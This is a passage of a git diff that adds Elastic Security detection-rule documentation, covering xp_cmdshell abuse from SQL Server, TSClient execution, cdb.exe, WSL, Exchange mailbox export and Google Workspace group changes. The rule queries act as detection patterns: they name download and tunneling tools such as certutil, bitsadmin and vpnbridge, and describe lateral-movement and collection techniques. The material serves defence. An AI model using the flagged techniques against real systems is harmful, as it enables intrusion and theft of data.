+- Inspect the host for suspicious or abnormal behavior in the alert timeframe. + + +*False positive analysis* + + +- This mechanism can be used legitimately, but it brings inherent risk. The security team must monitor any activity of it. If recurrent tasks are being executed using this mechanism, consider adding exceptions — preferably with a full command line. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Ensure that SQL servers are not directly exposed to the internet. If there is a business justification for such, use an allowlist to allow only connections from known legitimate sources. +- Disable the xp_cmdshell stored procedure. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and +process.parent.name:"sqlservr.exe" and process.command_line : * and +( + ( + (process.name.caseless : "cmd.exe" or process.pe.original_file_name : "Cmd.Exe") and + not process.args : ( + \\\\* or diskfree or rmdir or mkdir or dir or DIR or del or rename or bcp or md or ren or REN or send or echo or + ECHO or TYPE or type or EXIST or forfiles or sqlcmd or SQLCMD or dtexec or Sort-Object or cat or copy or COPY or + move or MOVE or CD\\ or show or rd or powercfg or "C:\SPAN4\DATA\RISKPARAM.SPN" or ("@ECHO" and "@FOR") or + ("@echo" and "@for") or (SET and PATH=*) or ("-ExecutionPolicy" and "-File") or MSSQLFDLauncher$DATEV_DBENGINE or + (wmic and (cpu or computersystem or logicaldisk or os or ComputerSystem or volume)) or -s\:C\:\\WINDOWS\\SERVIC* or + D\:\\* or E\:\\* or F\:\\* or Z\:\\* or "C:\Program Files\Amazon\AWSCLIV2\aws.exe" or C\:\\7-Zip\\7z.exe* or + C\:\\FTP* or *\(Get-Item* or C\:\\ProgramData\\Daktronics* + ) and + not process.command_line : ( + "\"C:\\Windows\\system32\\cmd.exe\" /c " or + "\"C:\\Windows\\System32\\cmd.exe\"" + ) + ) or + process.name.caseless:("bitsadmin.exe" or "certutil.exe" or "vpnbridge.exe") or + process.name:("bitsadmin.exe" or "certutil.exe" or "vpnbridge.exe") or + process.pe.original_file_name:("CertUtil.exe" or "bitsadmin.exe" or "vpnbridge.exe") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: SQL Stored Procedures +** ID: T1505.001 +** Reference URL: https://attack.mitre.org/techniques/T1505/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-tsclient-mountpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-tsclient-mountpoint.asciidoc new file mode 100644 index 0000000000..3adcc2f4bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-tsclient-mountpoint.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-execution-via-tsclient-mountpoint]] +=== Execution via TSClient Mountpoint + +Identifies execution from the Remote Desktop Protocol (RDP) shared mountpoint tsclient on the target host. This may indicate a lateral movement attempt. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3 +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via TSClient Mountpoint* + + +The TSClient mountpoint is a feature of the Remote Desktop Protocol (RDP) that allows users to access local drives from a remote session. Adversaries can exploit this by executing malicious files from the shared mountpoint, facilitating lateral movement within a network. The detection rule identifies such activities by monitoring for process executions originating from the TSClient path, signaling potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process execution path matches the pattern "\\Device\\Mup\\tsclient\\*.exe" and verify the host operating system is Windows. +- Identify the user account associated with the RDP session and check for any unusual or unauthorized access patterns, such as logins from unexpected locations or at odd times. +- Examine the executed process's hash and compare it against known malicious hashes in threat intelligence databases to determine if the file is potentially harmful. +- Investigate the source system from which the RDP session originated to identify any signs of compromise or unauthorized access that could indicate lateral movement. +- Check for any additional suspicious activities on the target host, such as unexpected network connections or file modifications, that may correlate with the execution event. +- Review the security logs from data sources like Microsoft Defender XDR or Sysmon for any related alerts or anomalies that could provide further context on the incident. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they are executed from a local drive mapped through TSClient. To manage this, create exceptions for known update processes or installation paths that are frequently used in your environment. +- IT administrative tasks performed via RDP sessions can also cause false positives. Identify and exclude specific administrative tools or scripts that are regularly executed from TSClient paths by trusted personnel. +- Automated backup or synchronization software that accesses local drives through RDP might be flagged. Review and whitelist these processes if they are part of routine operations. +- Development or testing activities involving remote execution of scripts or applications from TSClient can be mistaken for threats. Establish a list of approved development tools and paths to exclude from monitoring. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further lateral movement and potential data exfiltration. +- Terminate any suspicious processes running from the TSClient path to halt any ongoing malicious activity. +- Conduct a thorough scan of the affected host using endpoint detection and response (EDR) tools to identify and remove any malicious files or artifacts. +- Review and analyze RDP logs and session details to identify unauthorized access attempts and determine the source of the intrusion. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Implement network segmentation to limit RDP access to only necessary systems and users, reducing the attack surface for similar threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.executable : "\\Device\\Mup\\tsclient\\*.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-windows-command-debugging-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-windows-command-debugging-utility.asciidoc new file mode 100644 index 0000000000..c7e641a332 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-windows-command-debugging-utility.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-21-execution-via-windows-command-debugging-utility]] +=== Execution via Windows Command Debugging Utility + +An adversary can use the Windows command line debugging utility cdb.exe to execute commands or shellcode. This rule looks for those instances and where the cdb.exe binary is outside of the normal WindowsKit installation paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Windows Command Debugging Utility* + + +The Windows command line debugging utility, cdb.exe, is a legitimate tool used for debugging applications. However, adversaries can exploit it to execute unauthorized commands or shellcode, bypassing security measures. The detection rule identifies suspicious use of cdb.exe by monitoring its execution outside standard installation paths and specific command-line arguments, indicating potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of cdb.exe running from non-standard paths, as specified in the query. +- Examine the command-line arguments used with cdb.exe, particularly looking for "-cf", "-c", or "-pd", to understand the potential actions or scripts being executed. +- Investigate the parent process of cdb.exe to determine how it was launched and identify any associated suspicious activity or processes. +- Check the user account associated with the cdb.exe execution to assess if it aligns with expected behavior or if it indicates potential compromise. +- Analyze recent system logs and security alerts for any related or preceding suspicious activities that might correlate with the execution of cdb.exe. +- Review network activity from the host to identify any unusual outbound connections that could suggest data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate debugging activities by developers or IT staff using cdb.exe outside standard paths can trigger alerts. To manage this, create exceptions for known user accounts or specific machines frequently used for development. +- Automated testing environments may execute cdb.exe with command-line arguments for legitimate purposes. Identify these environments and exclude their processes from triggering alerts. +- Software installations or updates might temporarily use cdb.exe in non-standard paths. Monitor installation logs and exclude these specific instances if they are verified as part of legitimate software deployment. +- Security tools or scripts that leverage cdb.exe for monitoring or analysis can be mistaken for malicious activity. Document these tools and add them to the exclusion list to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or execution of malicious commands. +- Terminate any suspicious instances of cdb.exe running outside the standard installation paths to halt potential malicious activity. +- Conduct a forensic analysis of the affected system to identify any unauthorized changes or additional malicious payloads that may have been executed. +- Restore the system from a known good backup if any unauthorized changes or malware are detected, ensuring that the backup is clean and uncompromised. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Implement application whitelisting to prevent unauthorized execution of cdb.exe from non-standard paths. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "CDB.Exe" or process.name : "cdb.exe") and + process.args : ("-cf", "-c", "-pd") and + not process.executable : ( + "?:\\Program Files (x86)\\*\\cdb.exe", + "?:\\Program Files\\*\\cdb.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*\\cdb.exe", + "\\Device\\HarddiskVolume*\\Program Files\\*\\cdb.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..fe56802aa7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-execution-via-windows-subsystem-for-linux]] +=== Execution via Windows Subsystem for Linux + +Detects attempts to execute a program on the host from the Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Sysmon + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run Linux binaries natively on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to execute malicious scripts or binaries, bypassing traditional Windows security mechanisms. The detection rule identifies suspicious executions initiated by WSL processes, excluding known safe executables, to flag potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process details to identify the executable path and determine if it matches any known malicious or suspicious binaries not listed in the safe executables. +- Investigate the parent process, specifically wsl.exe or wslhost.exe, to understand how the execution was initiated and if it aligns with expected user behavior or scheduled tasks. +- Check the user account associated with the process execution to verify if the activity is consistent with the user's typical behavior or if the account may have been compromised. +- Analyze the event dataset, especially if it is from crowdstrike.fdr, to gather additional context about the process execution and any related activities on the host. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or SentinelOne to identify any related suspicious activities or patterns. +- Assess the risk score and severity in the context of the organization's environment to prioritize the investigation and response actions accordingly. + + +*False positive analysis* + + +- Legitimate administrative tasks using WSL may trigger alerts. Users can create exceptions for known administrative scripts or binaries that are frequently executed via WSL. +- Development environments often use WSL for compiling or testing code. Exclude specific development tools or scripts that are regularly used by developers to prevent unnecessary alerts. +- Automated system maintenance scripts running through WSL can be mistaken for malicious activity. Identify and whitelist these scripts to reduce false positives. +- Security tools or monitoring solutions that leverage WSL for legitimate purposes should be identified and excluded from detection to avoid interference with their operations. +- Frequent use of WSL by specific users or groups for non-malicious purposes can be managed by creating user-based exceptions, allowing their activities to proceed without triggering alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being executed via WSL that are not part of the known safe executables list. +- Conduct a thorough review of the affected system's WSL configuration and installed Linux distributions to identify unauthorized changes or installations. +- Remove any unauthorized or malicious scripts and binaries found within the WSL environment. +- Restore the system from a known good backup if malicious activity has compromised system integrity. +- Update and patch the system to ensure all software, including WSL, is up to date to mitigate known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and process.command_line != null and + process.parent.name : ("wsl.exe", "wslhost.exe") and + not process.executable : ( + "?:\\Program Files (x86)\\*", + "?:\\Program Files\\*", + "?:\\Program Files*\\WindowsApps\\MicrosoftCorporationII.WindowsSubsystemForLinux_*\\wsl*.exe", + "?:\\Windows\\System32\\conhost.exe", + "?:\\Windows\\System32\\lxss\\wslhost.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wsl.exe", + "?:\\Windows\\Sys?????\\wslconfig.exe" + ) and + not ( + /* Crowdstrike specific exclusion as it uses NT Object paths */ + (data_stream.dataset == "crowdstrike.fdr" or event.action == "ProcessRollup2") and + process.executable : ( + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*", + "\\Device\\HarddiskVolume*\\Program Files\\*", + "\\Device\\HarddiskVolume*\\Program Files*\\WindowsApps\\MicrosoftCorporationII.WindowsSubsystemForLinux_*\\wsl*.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\conhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\lxss\\wslhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\WerFault.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\wsl.exe", + "\\Device\\HarddiskVolume*\\Windows\\Sys?????\\wslconfig.exe" + ) + ) and + not ( + (process.name : "cmd.exe" and process.command_line : "*echo*%USERPROFILE%*") or + (process.name : "git.exe" and process.command_line : "git.exe -c log.*") or + (process.name : "powershell.exe" and process.command_line : "powershell.exe -Command $env:USERPROFILE") or + (process.name : "Code.exe" and process.command_line : ("*cli.js --folder-uri=vscode-remote://wsl*", "ms-vscode-remote.remote-wsl")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-exporting-exchange-mailbox-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-exporting-exchange-mailbox-via-powershell.asciidoc new file mode 100644 index 0000000000..6b449817dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-exporting-exchange-mailbox-via-powershell.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-exporting-exchange-mailbox-via-powershell]] +=== Exporting Exchange Mailbox via PowerShell + +Identifies the use of the Exchange PowerShell cmdlet, New-MailBoxExportRequest, to export the contents of a primary mailbox or archive to a .pst file. Adversaries may target user email to collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 422 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Exporting Exchange Mailbox via PowerShell* + + +Email mailboxes and their information can be valuable assets for attackers. Company mailboxes often contain sensitive information such as login credentials, intellectual property, financial data, and personal information, making them high-value targets for malicious actors. + +The `New-MailBoxExportRequest` cmdlet is used to begin the process of exporting contents of a primary mailbox or archive to a .pst file. Note that this is done on a per-mailbox basis and this cmdlet is available only in on-premises Exchange. + +Attackers can abuse this functionality in preparation for exfiltrating contents, which is likely to contain sensitive and strategic data. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the export operation: + - Identify the user account that performed the action and whether it should perform this kind of action. + - Contact the account owner and confirm whether they are aware of this activity. + - Check if this operation was approved and performed according to the organization's change management policy. + - Retrieve the operation status and use the `Get-MailboxExportRequest` cmdlet to review previous requests. + - By default, no group in Exchange has the privilege to import or export mailboxes. Investigate administrators that assigned the "Mailbox Import Export" privilege for abnormal activity. +- Investigate if there is a significant quantity of export requests in the alert timeframe. This operation is done on a per-mailbox basis and can be part of a mass export. +- If the operation was completed successfully: + - Check if the file is on the path specified in the command. + - Investigate if the file was compressed, archived, or retrieved by the attacker for exfiltration. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and it is done with proper approval. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If the involved host is not the Exchange server, isolate the host to prevent further post-compromise behavior. +- Use the `Remove-MailboxExportRequest` cmdlet to remove fully or partially completed export requests. +- Prioritize cases that involve personally identifiable information (PII) or other classified data. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges of users with the "Mailbox Import Export" privilege to ensure that the least privilege principle is being followed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + process.command_line : ("*MailboxExportRequest*", "*-Mailbox*-ContentFilter*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Local Email Collection +** ID: T1114.001 +** Reference URL: https://attack.mitre.org/techniques/T1114/001/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-external-user-added-to-google-workspace-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-external-user-added-to-google-workspace-group.asciidoc new file mode 100644 index 0000000000..62594b54e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-external-user-added-to-google-workspace-group.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-external-user-added-to-google-workspace-group]] +=== External User Added to Google Workspace Group + +Detects an external Google Workspace user account being added to an existing group. Adversaries may add external user accounts as a means to intercept shared files or emails with that specific group. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/33329 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating External User Added to Google Workspace Group* + + +Google Workspace groups allow organizations to assign specific users to a group that can share resources. Application specific roles can be manually set for each group, but if not inherit permissions from the top-level organizational unit. + +Threat actors may use phishing techniques and container-bound scripts to add external Google accounts to an organization's groups with editorial privileges. As a result, the user account is unable to manually access the organization's resources, settings and files, but will receive anything shared to the group. As a result, confidential information could be leaked or perhaps documents shared with editorial privileges be weaponized for further intrusion. + +This rule identifies when an external user account is added to an organization's groups where the domain name of the target does not match the Google Workspace domain. + + +*Possible investigation steps* + +- Identify user account(s) associated by reviewing `user.name` or `user.email` in the alert + - The `user.target.email` field contains the user added to the groups + - The `group.name` field contains the group the target user was added to +- Identify specific application settings given to the group which may indicate motive for the external user joining a particular group +- With the user identified, verify administrative privileges are scoped properly to add external users to the group + - Unauthorized actions may indicate the `user.email` account has been compromised or leveraged to add an external user +- To identify other users in this group, search for `event.action: "ADD_GROUP_MEMBER"` + - It is important to understand if external users with `@gmail.com` are expected to be added to this group based on historical references +- Review Gmail logs where emails were sent to and from the `group.name` value + - This may indicate potential internal spearphishing + + +*False positive analysis* + +- With the user account whom added the new user, verify this action was intentional +- Verify that the target whom was added to the group is expected to have access to the organization's resources and data +- If other members have been added to groups that are external, this may indicate historically that this action is expected + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://cloud.google.com/security-command-center/docs/how-to-investigate-threats[provided by Google]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "google_workspace.admin" and event.action == "ADD_GROUP_MEMBER" and + not endsWith(user.target.email, user.target.group.domain) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: 